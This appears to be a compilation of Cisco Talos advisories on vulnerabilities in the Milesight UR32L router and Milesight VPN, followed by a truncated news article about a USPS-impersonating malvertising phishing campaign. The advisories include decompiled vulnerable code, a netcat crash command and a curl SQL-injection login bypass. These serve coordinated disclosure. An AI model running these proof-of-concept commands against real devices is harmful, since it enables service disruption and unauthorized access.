An OS command injection vulnerability exists in the vtysh_ubus _get_fw_logs functionality of Milesight UR32L v32.3.0.5. A specially crafted network request can lead to command execution. An attacker can send a network request to trigger this vulnerability.

**SUMMARY**

An OS command injection vulnerability exists in the vtysh\_ubus \_get\_fw\_logs functionality of Milesight UR32L v32.3.0.5. A specially crafted network request can lead to command execution. An attacker can send a network request to trigger this vulnerability.

**CONFIRMED VULNERABLE VERSIONS**

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Milesight UR32L v32.3.0.5

**PRODUCT URLS**

UR32L - https://www.milesight-iot.com/cellular/router/ur32l/

**CVSSv3 SCORE**

8.8 - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

**CWE**

CWE-78 - Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)

**DETAILS**

The Milesight UR32L is an industrial cellular router. The router features include support for multiple VPNs, a router console shell, firewall and many others.

The Milesight router offers several functionalities through the /cgi endpoint. The “core” functionality we are considering is called yruo_debug_firewall. In this “core” there is a function called “get”. The function that manages this functionality is the vtysh_ubus’s fw_logs_get function:

    void fw_logs_get(undefined4 param_1,undefined4 param_2,undefined4 param_3,undefined4 param_4,
                    undefined4 *data)
    
    {
      [... variable declaration ...]
      
      [... variable initialization ...]
      json_msg_output("!! yruo_fw_logs.get params",data);
      blob_buf_init(b,0);
      data_len = __bswapsi2(*data);
      blobmsg_parse(fw_logs_get_policy,2,tb,data + 1,(data_len & 0xffffff) - 4);                            [1]
      if (tb[0] != (blob_attr *)0x0) {
        base_value_ptr = (char *)blobmsg_get_string(tb[0]);
        strncpy(tb_base_value,base_value_ptr,0x20);
        system_ptr = (system_base_struct *)get_handler_bybase(&debug_bases,1,tb_base_value);                [2]
        if (system_ptr != (system_base_struct *)0x0) {
          switch_to_enable_node();
          _get_fw_logs = (code *)system_ptr->get_func;
          if ((_get_fw_logs != (code *)0x0) &&
             (_get_fw_logs = (code *)(*_get_fw_logs)(tb,"get"), _get_fw_logs == (code *)0x0))               [3]
          [...]
            [...]
          }
        }
      }
      [...]
    }
    

The data are transmitted through blobmsg structures. The two variable that are parsed into the tb array, at [1], are: - base: this value must be equal to “firewall\_log”, otherwise no functionality will be performed. The value of this data will be parsed in the tb[0] variable. - command: this value will be used as argument of the iptables shell command. The value of this data will be parsed in the tb[1] variable.

At [2] the base value will be used to get a struct handler that in the code is called system_ptr. Because there is only, in this case, one valid value for base, we know the struct fetched has as value of the system_ptr->get_func the _get_fw_logs function pointer. At [3] the _get_fw_logs function will be called:

    void _get_fw_logs(blob_attr **tb, char* type)
    
    {
      [... variable declaration ...]
    
      [... variable initialization ...]
       = (undefined4 *)zcalloc(1,8);
      if (two_word != (undefined4 *)0x0) {
        command = tb[1];                                                                                    [4]
        [...]
        if ((command != (blob_attr *)0x0) &&
           (command_string = (char *)blobmsg_get_string(command), *command_string != '\0')) {
          dup_command = zstrdup(1,command_string);
          [...]
          command_string = (char *)(dup_command + -1);
          do {
            command_string = command_string + 1;
            command_string_cursor = *command_string;
            if (command_string_cursor == '\0') {
              snprintf(iptables_command,0x100,"iptables -w %s",dup_command);                                [5]
              zlog_debug("exec fw command(%s)\n",iptables_command);
              __stream = popen(iptables_command,"r");                                                       [6]
              [...]
              }
              [...]
            }
          } while (command_string_cursor != '&' && command_string_cursor != ';');
          [...]
        }
      }
      [...]
    } This function takes as first argument the `fw_logs_get`'s `tb` variable pointer. Then, at `[4]`, `tb[1]` is used to fetch the `command` argument sent in the `/cgi` API. The `command` variable is used, at `[5]`, to compose the `iptables -w <command>` string. This is then used at `[6]` as the argument for the `popen` function, effectively executing the  `iptables -w <command>` shell command.
    

The payload for the /cgi API to execute the “get” function in the “yruo\_debug\_firewall” core would look likes this:

    {
    "id":60,
    "execute":10,
    "core":"yruo_debug_firewall",
    "function":"get",
    "values":[
        {
            "base":"firewall_log",
            "command":"-S",
            }
        ]
    }
    

This would execute the iptables -W -S command listing all the iptables rules.

Because no exhaustive checks are performed on the command parameters until it reaches the popen function, this leads to an OS command injection vulnerability.

**VENDOR RESPONSE**

Since the maintainer of this software did not release a patch during the 90 day window specified in our policy, we have now decided to release the information regarding this vulnerability, to make users of the software aware of this problem. See Cisco’s Coordinated Vulnerability Disclosure Policy for more information: https://tools.cisco.com/security/center/resources/vendor\_vulnerability\_policy.html

**TIMELINE**

2023-02-14 - Initial Vendor Contact  
2023-02-21 - Vendor Disclosure  
2023-07-06 - Public Release

Discovered by Francesco Benvenuto of Cisco Talos.

CVE-2023-22299: TALOS-2023-1712 || Cisco Talos Intelligence Group

An OS command injection vulnerability exists in the vtysh_ubus tcpdump_start_cb functionality of Milesight UR32L v32.3.0.5. A specially crafted HTTP request can lead to command execution. An attacker can send an HTTP request to trigger this vulnerability.

**SUMMARY**

An OS command injection vulnerability exists in the vtysh\_ubus tcpdump\_start\_cb functionality of Milesight UR32L v32.3.0.5. A specially crafted HTTP request can lead to command execution. An attacker can send an HTTP request to trigger this vulnerability.

**CONFIRMED VULNERABLE VERSIONS**

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Milesight UR32L v32.3.0.5

**PRODUCT URLS**

UR32L - https://www.milesight-iot.com/cellular/router/ur32l/

**CVSSv3 SCORE**

8.8 - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

**CWE**

CWE-78 - Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)

**DETAILS**

The Milesight UR32L is an industrial cellular router. The router features include support for multiple VPNs, a router console shell, firewall and many others.

The Milesight router offers several functionalities through the /cgi endpoint. The “core” functionality we are considering is called yruo_tools. In this “core” there is one function called “tcpdump\_start”. This API is used to execute the command “tcpdump” using the provided data, following the vtysh_ubus’s tcpdump_start_cb function, responsible for managing the “tcpdump\_start” functionality:

    void tcpdump_start_cb(undefined4 param_1,undefined4 param_2,undefined4 param_3,undefined4 param_4,
                         undefined4 *param_5)
    
    {
        [... variable declaration ...]
    
        [... variable initialization ...]
        [...]
        if ((param_advanced == (blob_attr *)0x0) ||
             (advanced_value = (char *)blobmsg_get_string(param_advanced), *advanced == '\0')) {
            [...]
            interface_value = (char *)blobmsg_get_string(param_interface]);
            [...]
            strncpy(interface_ptr,interface_value,0x80);
            snprintf(last_param.interface,0x80,"%s",interface_ptr);
            is_equal = strcmp(interface_ptr,"Any");
            if (is_equal == 0) {
              interface_ptr = "any";
              interface_ptr_dup = zstrdup(1,interface_ptr);
            }
            else {
              interface_ptr_dup = if_name_display2ori(interface_ptr);
              [...]
            }
            snprintf(tcpdump_options_string,0x100,"-i %s",interface_ptr_dup);
            [...]
            if (0 < (int)port) {
                last_param.port = port;
                len = strlen(tcpdump_options_string);
                snprintf(tcpdump_options_string + len,0x100 - len," port %d",port);                       [1]
            }
            [...]
            if (param_ip != (blob_attr *)0x0) {
                ip_value = (char *)blobmsg_get_string(param_ip);
                strncpy(host_string,ip_value,0x80);
                if (*host_string != 0) {
                    snprintf(last_param.host,0x80,"%s",host_string);
                    len = strlen(tcpdump_options_string);
                    if ((int)port < 0) {
                      temp = "";
                    }
                    else {
                      temp = " and";
                    }
                    snprintf(tcpdump_options_string + len,0x100 - len,"%s host %s",temp,host_string);       [2]
                }
            }
            [...]
      }
      else {
        strncpy(advanced_param_buff,advanced_value,0x100);
        strtok(advanced_param_buff,";");
        strtok(advanced_param_buff,"|");
        temp = advanced_param_buff._0_4_ & 0xff;
        if (temp != 0) {
          snprintf(last_param.advance,0x100,"%s",advanced_param_buff);
          snprintf(tcpdump_options_string,0x100," %s",advanced_param_buff);                                 [3]
          [...]
        }
      }
      [... populate the dest_location variable with the destination of the recorded pcap ...]
      [...]
      len = strlen(tcpdump_options_string);
      snprintf(tcpdump_options_string + len,0x100 - len," -w %s",dest_location);
      snprintf(shell_command,0x200,"%s %s \"%s\" \"%s\" \"%s\" 2>&1 &","/usr/sbin/webtools.sh","tcpdump"
               ,tcpdump_options_string,dest_location,"/tmp/webtcpdump.lock");                               [4]
      [...]
      system(shell_command);                                                                                [5]
      [...]
    }
    

This function parses, at most, four possible params: “interface”, “ip”, “port” and “advanced”. If the “advanced” param is present and not empty, the other three are ignored. Otherwise, if the “advanced” param is not present or its value is empty, then the function will parse the “interface”, “ip” and “port”.

Eventually the code at [4] is reached and the string '/usr/sbin/webtools.sh tcpdump "<tcpdump_options_string>" "dest_location" "/tmp/webtcpdump.lock" 2>&1 &' is composed. The tcpdump_options_string is composed using the provided parameters. For instance, at [1] is appended the ' port <port>' string, and at [2] the ' host <host>' or ' and host <host>' is appended, based on the presence of the “port” parameter. Otherwise, if the “advanced” parameter is present, neither [1] or [2] are reached, but instead the code at [3] is executed.

Following are two example of commands that will result in the same composed string:

    {
        "id":60,
        "execute":1,
        "core":"yruo_tools",
        "function":"tcpdump_start",
        "values":[
            {
                "interface":"Any",
                "ip":"192.168.0.100",
                "port":12345,
                "advanced":""
            }
        ]
    } The above command uses the "interface", "ip" and "port" params.
    
    {
        "id":60,
        "execute":1,
        "core":"yruo_tools",
        "function":"tcpdump_start",
        "values":[
            {
                "interface":"",
                "ip":"",
                "port":"",
                "advanced":"-i any port 12345 and host 192.168.0.100"
            }
        ]
    } The above command uses only the "advanced" param.
    

Eventually the string composed at [4] will be used as argument of the system function at [5]. No particular checks are performed against the parameters provided, which can lead to an OS command injection.

**VENDOR RESPONSE**

Since the maintainer of this software did not release a patch during the 90 day window specified in our policy, we have now decided to release the information regarding this vulnerability, to make users of the software aware of this problem. See Cisco’s Coordinated Vulnerability Disclosure Policy for more information: https://tools.cisco.com/security/center/resources/vendor\_vulnerability\_policy.html

**TIMELINE**

2023-02-14 - Initial Vendor Contact  
2023-02-21 - Vendor Disclosure  
2023-07-06 - Public Release

Discovered by Francesco Benvenuto of Cisco Talos.

CVE-2023-22653: TALOS-2023-1714 || Cisco Talos Intelligence Group

An authentication bypass vulnerability exists in the requestHandlers.js verifyToken functionality of Milesight VPN v2.0.2. A specially-crafted network request can lead to authentication bypass. An attacker can send a network request to trigger this vulnerability.

**SUMMARY**

An authentication bypass vulnerability exists in the requestHandlers.js verifyToken functionality of Milesight VPN v2.0.2. A specially-crafted network request can lead to authentication bypass. An attacker can send a network request to trigger this vulnerability.

**CONFIRMED VULNERABLE VERSIONS**

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Milesight VPN v2.0.2

**PRODUCT URLS**

MilesightVPN - https://www.milesight-iot.com/milesightvpn/

**CVSSv3 SCORE**

7.3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

**CWE**

CWE-321 - Use of Hard-coded Cryptographic Key

**DETAILS**

The MilesightVPN is software that make the process easier of setting up the VPN tunnel for Milesight products, as well as allows monitoring the connection status with a web server interface.

The MilesightVPN allows to manages the various VPN related configuration and the connected devices through its web interface. The web interface is protected by a login, the web interface verify if the user has the permission to access the webpage through a JSON Web Token.

The function to generate the JWT is generateToken:

    function generateToken(data){
        var created=Math.floor(Date.now()/1000);
        var cert=fs.readFileSync(path.join(__dirname,'./https/privkey.pem'));
        var token=jwt.sign({
            data,
            exp:created+expiretime
        },cert,{algorithm:'RS256'});
        return token;
    }
    

And the function to verify the JWT is verifyToken:

    function verifyToken(token){
        var rt={};
        var cert=fs.readFileSync(path.join(__dirname,'./https/public.pem'));
        try{
            var result=jwt.verify(token,cert,{algorithm:['RS256']})||{};
            var exp=result.exp?result.exp:0,current=Math.floor(Date.now()/1000);
            if(current<=exp)
            {
                rt=result.data||{};
            }
        }
        catch(e){
        }
        return rt;
    }
    

Because the public and private key used for these processes are not generated randomly during the installation of the MilesightVPN but, instead, are static in the installation folder, this make forging a JWT a trivial task, for this reason the web interface is vulnerable to an authentication bypass due to the possibilities of forging valid JWT.

**VENDOR RESPONSE**

Since the maintainer of this software did not release a patch during the 90 day window specified in our policy, we have now decided to release the information regarding this vulnerability, to make users of the software aware of this problem. See Cisco’s Coordinated Vulnerability Disclosure Policy for more information: https://tools.cisco.com/security/center/resources/vendor\_vulnerability\_policy.html

**TIMELINE**

2023-02-14 - Initial Vendor Contact  
2023-02-21 - Vendor Disclosure  
2023-07-06 - Public Release

Discovered by Francesco Benvenuto of Cisco Talos.

CVE-2023-22844: TALOS-2023-1700 || Cisco Talos Intelligence Group

An access violation vulnerability exists in the eventcore functionality of Milesight UR32L v32.3.0.5. A specially crafted network request can lead to denial of service. An attacker can send a network request to trigger this vulnerability.

**SUMMARY**

An access violation vulnerability exists in the eventcore functionality of Milesight UR32L v32.3.0.5. A specially crafted network request can lead to denial of service. An attacker can send a network request to trigger this vulnerability.

**CONFIRMED VULNERABLE VERSIONS**

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Milesight UR32L v32.3.0.5

**PRODUCT URLS**

UR32L - https://www.milesight-iot.com/cellular/router/ur32l/

**CVSSv3 SCORE**

8.2 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H

**CWE**

CWE-126 - Buffer Over-read

**DETAILS**

The Milesight UR32L is an industrial cellular router. The router features include support for multiple VPNs, a router console shell, firewall and many others.

The router can be set up to trigger an action after a particular event occurs. For instance, it is possible to send an e-mail or an SMS after a device reboots. Other actions and events exist. The binary that actually performs the action, after a particular event occurs, is eventcore.

The eventcore binary has a thread that waits for data that seems to be used to query the SQLite3 database used to archive the various event-related information. Following the recv_data_thread function that manages the reception of the data:

    undefined4 recv_data_thread(int *socket)
    
    {
     [... variable declaration ...]
    
      [... variable initialization ...]
      memset(chunk_buff + 4,0,0x1fc);
      [... variable initialization ...]
      
      if (socket == (int *)0x0) {
        syslog(3,"param is null\n");
      }
      else {
        socket_ = *socket;
        if (socket_ < 1) {
          syslog(3,"udp fd less than 0.\n");
        }
        else {
          message = (char *)malloc_and_memset(0x800);
          if (message != (char *)0x0) {
            memset(message,0,0x800);
            do {
              while( true ) {
                memset(chunk_buff,0,0x200);
                message_strlen = strlen(message);
                recv_length = recv_wrap(socket_,chunk_buff,0x1ff,&src_addr);                                [1]
                if ((chunk_buff[0] == '\0') || (recv_length != 0x1ff)) break;
                memcpy(message + message_strlen,chunk_buff,0x800 - message_strlen);                         [2]
              }
              [...]
            }
          }
          [...]
    }
    

The function executes a loop where it received at most 0x1ff bytes into the chunk_buff buffer, then the content of the chunk_buff is appended into the message buffer.

The chunk_buff buffer is correctly sized with 512 bytes available, so the read at [1] is correct. At [2] the memcpy copies the size 0x800 - message_strlen from chunk_buff into message. So, the first memcpy will copy 0x800 bytes from a buffer of 0x1ff bytes. This leads to a buffer over-read. Furthermore, the thread starts with a fresh stack, which implies that the stack buffer chunk_buff is close to end of the stack and a buffer over-read will cause a SIGSEGV.

Debugging the process, it is easy to understand this problem:

    memcpy@plt (                                                                                                                                                                                  
        $r0 = 0x00043730 → 0x00000000,                                                                                                                                                             
        $r1 = 0x76de4b0c → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]",                                                                                                              
        $r2 = 0x00000800,                                                                                                                                                                          
    )  The `$r2` register contains the address of the `chunk_buff` buffer; in this case, it is  `0x76de4b0c`. Following the thread stack region and the region adjacent:
    
    0x76bf0000 0x76de5000 0x00000000 rw-
    0x76de5000 0x76de6000 0x00000000 --- 
    

The bytes between chunk_buff, at 0x76de4b0c, and the end of thread’s stack region, at 0x76de5000, is 0x4f4 bytes. So, reading 0x800 bytes from chunk_buff implies it will try to access outside the stack region.

**Crash Information**

    Thread 5 "eventcore" received signal SIGSEGV, Segmentation fault.
    0x76f3d540 in memcpy () from target:/lib/ld-musl-armhf.so.1
    [ Legend: Modified register | Code | Heap | Stack | String ]
    ──── registers ────                                               
    $r0  : 0x76ef2a20  →  0x00000000
    $r1  : 0x76d67ffc  →  0x00000000
    $r2  : 0x2f0
    $r3  : 0x10
    $r4  : 0x0
    $r5  : 0x0
    $r6  : 0x0
    $r7  : 0x0
    $r8  : 0x0
    $r9  : 0x0
    $r10 : 0x0
    $r11 : 0x0
    $r12 : 0x0
    $sp  : 0x76d67ac8  →  0x76f417ac  →   ldr r3,  [r0,  #140]      ; 0x8c
    $lr  : 0x00012e7c  →  0xea000034 ("4"?)
    $pc  : 0x76f3d540  →  <memcpy+140> ldm r1!,  {r4,  r5,  r6,  r7,  r8,  r9,  r10,  r11}
    $cpsr: [negative zero CARRY overflow interrupt fast thumb]
    ──── stack ────                                               
    0x76d67ac8│+0x0000: 0x76f417ac  →   ldr r3,  [r0,  #140]        ; 0x8c   ← $sp
    0x76d67acc│+0x0004: 0x76d67d44  →  0x76d67d44  →  [loop detected]
    0x76d67ad0│+0x0008: 0x00000078 ("x"?)
    0x76d67ad4│+0x000c: 0x7eac7d34  →  0x00000000
    0x76d67ad8│+0x0010: 0x76f68540  →  0x00000000
    0x76d67adc│+0x0014: 0x76d67d44  →  0x76d67d44  →  [loop detected]
    0x76d67ae0│+0x0018: 0x76d67d24  →  0x76f41830  →   bl 0x76f41628 <pthread_exit>
    0x76d67ae4│+0x001c: 0x76ef2530  →  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
    ──── code:arm:ARM ────                                               
       0x76f3d534 <memcpy+128>     sub    r2,  r2,  r3
       0x76f3d538 <memcpy+132>     subs   r2,  r2,  #32
       0x76f3d53c <memcpy+136>     bcc    0x76f3d554 <memcpy+160>
     → 0x76f3d540 <memcpy+140>     ldm    r1!,  {r4,  r5,  r6,  r7,  r8,  r9,  r10,  r11}
       0x76f3d544 <memcpy+144>     subs   r2,  r2,  #32
       0x76f3d548 <memcpy+148>     stmia  r0!,  {r4,  r5,  r6,  r7,  r8,  r9,  r10,  r11}
       0x76f3d54c <memcpy+152>     bcs    0x76f3d540 <memcpy+140>
       0x76f3d550 <memcpy+156>     add    r2,  r2,  #32
       0x76f3d554 <memcpy+160>     tst    r2,  #31
    ──── threads ────                                               
    [#0] Id 1, Name: "eventcore", stopped 0x76f40174 in __clone (), reason: SIGSEGV
    [#1] Id 2, Name: "eventcore", stopped 0x76f40174 in __clone (), reason: SIGSEGV
    [#2] Id 3, Name: "eventcore", stopped 0x76f40174 in __clone (), reason: SIGSEGV
    [#3] Id 4, Name: "eventcore", stopped 0x76f40174 in __clone (), reason: SIGSEGV
    [#4] Id 5, Name: "eventcore", stopped 0x76f3d540 in memcpy (), reason: SIGSEGV
    ──── trace ────                                               
    [#0] 0x76f3d540 → memcpy()
    [#1] 0x12e7c → b 0x12f54
    

**Exploit Proof of Concept**

Executing the following bash command will result in the crash of the eventcore binary:

    echo `python -c "print('A'*0x1ff)"` | nc -u <ROUTER_IP> 9001
    

**VENDOR RESPONSE**

Since the maintainer of this software did not release a patch during the 90 day window specified in our policy, we have now decided to release the information regarding this vulnerability, to make users of the software aware of this problem. See Cisco’s Coordinated Vulnerability Disclosure Policy for more information: https://tools.cisco.com/security/center/resources/vendor\_vulnerability\_policy.html

**TIMELINE**

2023-02-14 - Initial Vendor Contact  
2023-02-21 - Vendor Disclosure  
2023-07-06 - Public Release

Discovered by Francesco Benvenuto of Cisco Talos.

CVE-2023-23571: TALOS-2023-1696 || Cisco Talos Intelligence Group

A sql injection vulnerability exists in the requestHandlers.js LoginAuth functionality of Milesight VPN v2.0.2. A specially-crafted network request can lead to authentication bypass. An attacker can send a malicious packet to trigger this vulnerability.

**SUMMARY**

A sql injection vulnerability exists in the requestHandlers.js LoginAuth functionality of Milesight VPN v2.0.2. A specially-crafted network request can lead to authentication bypass. An attacker can send a malicious packet to trigger this vulnerability.

**CONFIRMED VULNERABLE VERSIONS**

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Milesight VPN v2.0.2

**PRODUCT URLS**

MilesightVPN - https://www.milesight-iot.com/milesightvpn/

**CVSSv3 SCORE**

7.3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

**CWE**

CWE-89 - Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’)

**DETAILS**

The MilesightVPN is software that make the process easier of setting up the VPN tunnel for Milesight products, as well as allows monitoring the connection status with a web server interface.

The MilesightVPN allow to manages the various VPN related configuration and the connected devices through its web interface. The web interface is protected by a login, the responsibility of checking the correctness of the provided credentials is of the requestHandlers.js’s LoginAuth function:

    function LoginAuth(res,postdata,connection){
        console.info('#######log.node:loginauth start');
        var sha512=crypto.createHash('sha512');
        sha512.update(postdata.pwd);
        var pwd=sha512.digest('hex');
        $sql="select * from user where user='"+postdata.user+"' and passwd='"+pwd+"'";                      [1]
        connection.query($sql).then(function(data){                                                         [2]
            var result={};
            if(data['error'])
            {
                [...]
            }
            else
            {
                if(data['result'].length>0)
                {
                    var dt=data['result'];
                    result['status']=1;
                    var token=generateToken(dt[0]['user']);
                    var exp=new Date(new Date().getTime()+expiretime*1000).toUTCString();
                    res.setHeader('Set-Cookie',['token='+token]);
                    console.info('#######log.node:loginauth success');
                    res.write(JSON.stringify(result));
                    res.end();
                }
                else
                {
                    [...]
                }
            }
        });
    }
    

The function compose, at [1], the SQL query for checking if the username and password provided correspond to the one of an existing user. Then, at [2], the query is executed, if the resulting table is not empty a JWT, corresponding to the matched user, is crafted and placed in the response header as value of Set-Cookie.

This function is vulnerable to an SQL injection vulnerability, indeed, the composition of the query string is performed through string concatenation instead of a prepare statement. This SQL injection can lead to an authentication bypass.

**Exploit Proof of Concept**

Following a POC that demonstrates the SQL injection in the login procedure discussed above:

    curl -i -k -d "user=admin' -- &pwd=POC" -X POST https://<SERVER_ADDRESS>/LoginAuth 
    
    HTTP/1.1 200 OK
    Set-Cookie: token=<redacted>
    Date: [...]
    Connection: keep-alive
    Transfer-Encoding: chunked
    
    {"status":1}
    

The {"status":1} show that the login procedure found a match for the data provided.

**VENDOR RESPONSE**

Since the maintainer of this software did not release a patch during the 90 day window specified in our policy, we have now decided to release the information regarding this vulnerability, to make users of the software aware of this problem. See Cisco’s Coordinated Vulnerability Disclosure Policy for more information: https://tools.cisco.com/security/center/resources/vendor\_vulnerability\_policy.html

**TIMELINE**

2023-02-14 - Initial Vendor Contact  
2023-02-21 - Vendor Disclosure  
2023-07-06 - Public Release

Discovered by Francesco Benvenuto of Cisco Talos.

CVE-2023-22319: TALOS-2023-1701 || Cisco Talos Intelligence Group

Multiple buffer overflow vulnerabilities exist in the vtysh_ubus binary of Milesight UR32L v32.3.0.5 due to the use of an unsafe sprintf pattern. A specially crafted HTTP request can lead to a buffer overflow. An attacker can send HTTP requests to trigger these vulnerabilities.This buffer overflow occurs in the set_openvpn_client function with the remote_subnet and the remote_mask variables.

CVE-2023-25124: TALOS-2023-1716 || Cisco Talos Intelligence Group

A stack-based buffer overflow vulnerability exists in the libzebra.so.0.0.0 security_decrypt_password functionality of Milesight UR32L v32.3.0.5. A specially crafted HTTP request can lead to a buffer overflow. An authenticated attacker can send an HTTP request to trigger this vulnerability.

**SUMMARY**

A stack-based buffer overflow vulnerability exists in the libzebra.so.0.0.0 security\_decrypt\_password functionality of Milesight UR32L v32.3.0.5. A specially crafted HTTP request can lead to a buffer overflow. An authenticated attacker can send an HTTP request to trigger this vulnerability.

**CONFIRMED VULNERABLE VERSIONS**

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Milesight UR32L v32.3.0.5

**PRODUCT URLS**

UR32L - https://www.milesight-iot.com/cellular/router/ur32l/

**CVSSv3 SCORE**

8.8 - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

**CWE**

CWE-121 - Stack-based Buffer Overflow

**DETAILS**

The Milesight UR32L is an industrial cellular router. The router features include support for multiple VPNs, a router console shell, firewall and many others.

The Milesight router offers several functionalities through the /cgi endpoint. The “core” functionality we are considering is called yruo_usermanagement. In this “core” there is one function called “set”. This API is used to change user related settings (for example, changing the password of a specific user). Following the vtysh_ubus’s usermng_set function, responsible for managing the “set” functionality:

        void usermng_set(undefined4 param_1,undefined4 param_2,undefined4 param_3,undefined4 param_4,
                        undefined4 *param_5)
    
        {
        [... variable declaration ...]
    
        [... variable initialization ...]
        [...]
        value_obj = (void *)blob_memdup(tb_outer.values);
        data = (void *)blobmsg_data(value_obj);
        values_obj_n = blobmsg_data_len(value_obj);
        blobmsg_parse(usermng_set_value_policy,7,tb_inner,data,values_obj_n);
        [...]
        if (((tb_inner[4] != (blob_attr *)0x0) && (tb_inner[5] != (blob_attr *)0x0)) &&
         (tb_inner[6] != (blob_attr *)0x0)) {
            tmp_encrypted = blobmsg_get_string((char *)tb_inner[4]);                                        [1]
            security_decrypt_password(tmp_encrypted,old_password_decrypted,0x20);
            tmp_encrypted = blobmsg_get_string((char *)tb_inner[5]);                                        [2]
            security_decrypt_password(tmp_encrypted,new_password_decrypted,0x20);
            tmp_encrypted = blobmsg_get_string((char *)tb_inner[6]);                                        [3]
            security_decrypt_password(tmp_encrypted,confirm_password_decypted,0x20);
        }
        [...]
        }
    

The function uses the blobmsg structures for parsing the received data. Each entry in tb_inner represents a specific parameter in the request’s JSON data. Following an example of a JSON input that could be used for this API. Note that this request must be sent by an authenticated user.

    {
        "id": 60,
        "execute": 10,
        "core": "yruo_usermanagement",
        "function": "set",
        "values": [
            {
                "base": "security",
                "index": "index",
                "value": {
                    "old_password": "264ISdU4Pqdnyksk0N1ssQ==",
                    "new_password": "nW+tKhD05KjqWkOYjjz/xg==",
                    "confirm_password": "luDNLgAE+s9LzVRK0ed8/Ujh/E+mduZm5GBcH/UVt/c="
                }
            }
        ]
    }
    

The code at [1] parses the old_password parameter, the code at [2] parses new_password and the code at [3] parses confirm_password. All three parameters are AES-encrypted Base64-encoded. Indeed, the three parameters are passed to the security_decrypt_password function that will Base64 decode and AES decrypt them.

Following the libzebra.so.0.0.0’s security_decrypt_password function:

    void security_decrypt_password(byte *enc_string,char *dec_string,size_t out_len)
    
    {
        [... variable declaration ...]
    
        [... variable initialization ...]
        encoded_len = strlen(encoded_string);
        b64_decoded = base64_decode(encoded_string,encoded_len,&b64_decoded_len);
        decrypt_len = ys_aes_decrypt(b64_decoded,b64_decoded_len,AES_key,AES_IV,decrypted_tmp);             [4]
        decrypted_tmp[decrypt_len] = 0;
        [...]
        strncpy(dec_string,(char *)decrypted_tmp,out_len);                                                  [5]
        [...]
    }
    

The function takes three parameters: - enc_string the encoded input string - dec_string the output buffer, where the result will be written - out_len the len of the dec_string output buffer

This function will call the base64_decode function to Base64 decode the enc_string string. Then the ys_aes_decrypt function is called, at [4], and will decrypt the Base64 decoded string into the decrypted_tmp stack buffer. Eventually the strncpy at [5] is reached and, at most, out_len bytes are copied from decrypted_tmp to the dec_string buffer.

A stack-based buffer overflow exists during the execution of the ys_aes_decrypt function. Indeed, it will decrypt the arbitrarily long enc_string into the decrypted_tmp stack buffer that is fixed in length.

**VENDOR RESPONSE**

Since the maintainer of this software did not release a patch during the 90 day window specified in our policy, we have now decided to release the information regarding this vulnerability, to make users of the software aware of this problem. See Cisco’s Coordinated Vulnerability Disclosure Policy for more information: https://tools.cisco.com/security/center/resources/vendor\_vulnerability\_policy.html

**TIMELINE**

2023-02-14 - Initial Vendor Contact  
2023-02-21 - Vendor Disclosure  
2023-07-06 - Public Release

Discovered by Francesco Benvenuto of Cisco Talos.

CVE-2023-24018: TALOS-2023-1715 || Cisco Talos Intelligence Group

Attackers are leveraging well-executed brand impersonation in a Google ads malvertising effort that collects both credit card and bank details from victims.

Threat actors are impersonating the United States Post Office (USPS) in a legitimate-looing malvertising campaign that diverts victims to a phishing site to steal payment-card and banking credentials, researchers have found.

A malicious ad appears on Google searches for both mobile and desktop users looking to track packages via the USPS website, Jérôme Segura, director of threat intelligence at Malwarebytes Labs revealed in a blog post published July 5.

Though it looks "completely trustworthy," it isn't, he said. Instead, it redirects victims to a malicious site that first collects their address and credit card details, and then requires them to log into their bank account for verification, eventually stealing that info as well.

Segura cites Jesse Baumgartner, marketing director at Overt Operator, as the person who first discovered the campaign. Baumgartner shared screenshots of his experience attempting to track a package that led him onto a scam website in a LinkedIn post.

Malwarebytes Labs researchers set out to find the scam themselves and were immediately able to find the authentic-looking ad by performing a simple Google search for "usp tracking."

"Incredibly, the ad snippet contains the official website _and_ logo of the United States Postal Service and yet, the 'advertiser' whose verified legal name is Анастасія Іващенко (Ukraine), has nothing to do with it," Segura wrote.

Malwarebytes Labs has reported the campaign to Google and for its part, Cloudflare has already flagged the domains as phishing sites.

The campaign is yet another reminder that no matter how much awareness there is about malicious ads, links, and websites lurking on the Internet, threat actors still successfully wield oft-used tactics that abuse and impersonate trusted entities to trick and defraud Internet users, he said.

"Malvertising via search results remains an issue that affects both consumers and businesses who place their trust behind well-known brands," Segura wrote in the post.

A recent malvertising campaign in January also leveraged trusted brands by targeting users searching for Bitwarden and 1Password's Web vaults on Google. Threat actors used paid ads with links to cleverly spoofed sites for stealing credentials to the unsuspecting users' password vaults.

**Creating a Convincing Phishing Campaign**

Segura broke down how the actor or actors behind the USPS campaign managed to make it look so convincing to an end user. Essentially, they used tactics that can apply to various types of malvertising, he said.

There are two ad campaigns — one that targets mobile users, and the other targeting desktop users. While the ads appear to use the official USPS URL while redirecting victims to an attacker-controlled domain, the URLs shown in the ad "are pure visual artifacts that have nothing to do with what you actually click on," Segura explained.

"When you click on the ad, the first URL returned is Google's own which contains various metrics related to the ad, followed by the advertiser's own URL," he said. "Users never get to see this, and that is what makes malvertising via brand impersonation so dangerous."

Victims that click on the ad land on a website that asks them to enter their package tracking number, just as any page for this type of request would. However, upon submitting that information they receive an error informing them that their package couldn't be delivered "due to incomplete information in delivery address."

